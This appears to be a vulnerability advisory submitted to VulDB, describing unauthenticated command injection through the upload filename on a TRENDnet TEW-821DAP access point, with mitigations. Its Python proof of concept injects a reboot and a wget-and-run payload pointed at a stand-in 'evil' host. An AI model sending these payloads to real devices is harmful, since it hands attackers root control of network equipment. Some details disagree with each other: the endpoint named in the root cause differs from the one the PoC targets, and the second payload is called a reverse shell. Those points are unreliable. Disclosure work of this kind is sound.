提交 #881248: TRENDnet TEW-821DAP Wireless Access Point v2.2.01b05 Command Injection

A command injection vulnerability exists in the `cgi/ssi` binary of TRENDnet TEW-821DAP Access Point firmware v2.2.01b05. The file upload / firmware upgrade handler reads the user-supplied filename via `getenv("filename")` and passes it unsanitized directly to `_system()`. An unauthenticated attacker can inject arbitrary system commands by crafting a malicious filename in the multipart file upload request, leading to full remote code execution with root privileges on the device.

---

## Technical Details

### Root Cause

The vulnerable code path is:

```
HTTP multipart POST → cgi/ssi → getenv("filename") → _system(crafted_cmd)
```

The CGI handler responsible for processing file uploads and firmware upgrades extracts the filename from the `Content-Disposition` header of the multipart form data using `getenv("filename")`. The retrieved filename is then concatenated directly into a system command string and executed via `_system()` without any sanitization or escaping of shell metacharacters.

### FirmRec / Symbolic Execution Evidence

```
0x4325088: getenv("filename") → _system → Command Injection
Simexp: CVE-2020-10214 @ 0x4325088, PC=0x41414141 (4 hits)
```

Additional code paths confirmed in the same binary:

- `getenv("ca_type")` → `strcpy` → Stack Overflow at `0x4356376`

### Affected Attack Surface

The vulnerability is reachable via the HTTP management interface (typically port 80/443). No authentication is required to access the upload endpoint.

---

## Proof of Concept

```python
#!/usr/bin/env python3
"""PoC: TEW-821DAP ssi filename Command Injection | CWE-77 | CVSS 9.8"""
import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1"

# Payload 1: Reboot device via injected ; reboot; command
r = requests.post(f"http://{TARGET}/cgi-bin/upload.cgi",
files={"file": ("; reboot; #.txt", b"test")}, timeout=5)

# Payload 2: Download and execute remote shell
r = requests.post(f"http://{TARGET}/cgi-bin/upload.cgi",
files={"file": ("; wget http://evil/shell -O /tmp/sh; sh /tmp/sh & #.txt", b"test")}, timeout=5)
```

### Expected Result

The injected command is executed with root privileges. In the first payload, the device reboots. In the second, a reverse shell is established. If the device crashes or becomes unresponsive after the request, command injection is confirmed.

---

## Impact

Successful exploitation allows an unauthenticated remote attacker to:

- Execute arbitrary system commands with **root privileges**
- Gain full control of the affected access point
- Intercept, modify, or redirect network traffic
- Pivot to other devices on the internal network
- Install persistent backdoors or malware
- Cause denial of service (device reboot/crash)

The attack requires no user interaction and can be executed from the LAN or WAN side if the management interface is exposed.

---

## Solution / Mitigation

### Vendor Recommendations

1. Replace `_system()` with a safe API call that does not invoke a shell (e.g., `execve()` or equivalent)
2. Validate and sanitize all user-supplied filenames — allow only alphanumeric characters, periods, underscores, and hyphens
3. Use a whitelist approach for filename validation rather than blacklisting shell metacharacters
4. Implement parameterized system calls where the filename is passed as an argument rather than interpolated into a command string

### User Mitigations (until patch is available)

- Restrict access to the device's web management interface via firewall rules
- Disable remote (WAN) administration
- Monitor network traffic for unusual outbound connections from the device

---

##

• 来源: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TEW-821DAP_ssi_Arbitrary_File_Command_Injection.md
• 用户: ST4R0002 (UID 99571)
• 提交: 2026-07-06 14時04分 (2 月前)
• 管理: 2026-08-21 20時42分 (2 months later)
• 状态: 已接受
• VulDB条目: 394174 [TRENDnet TEW-821DAP 2.2.01b05 ssi /cgi-bin/upload.cgi filename 权限提升]
• 积分: 20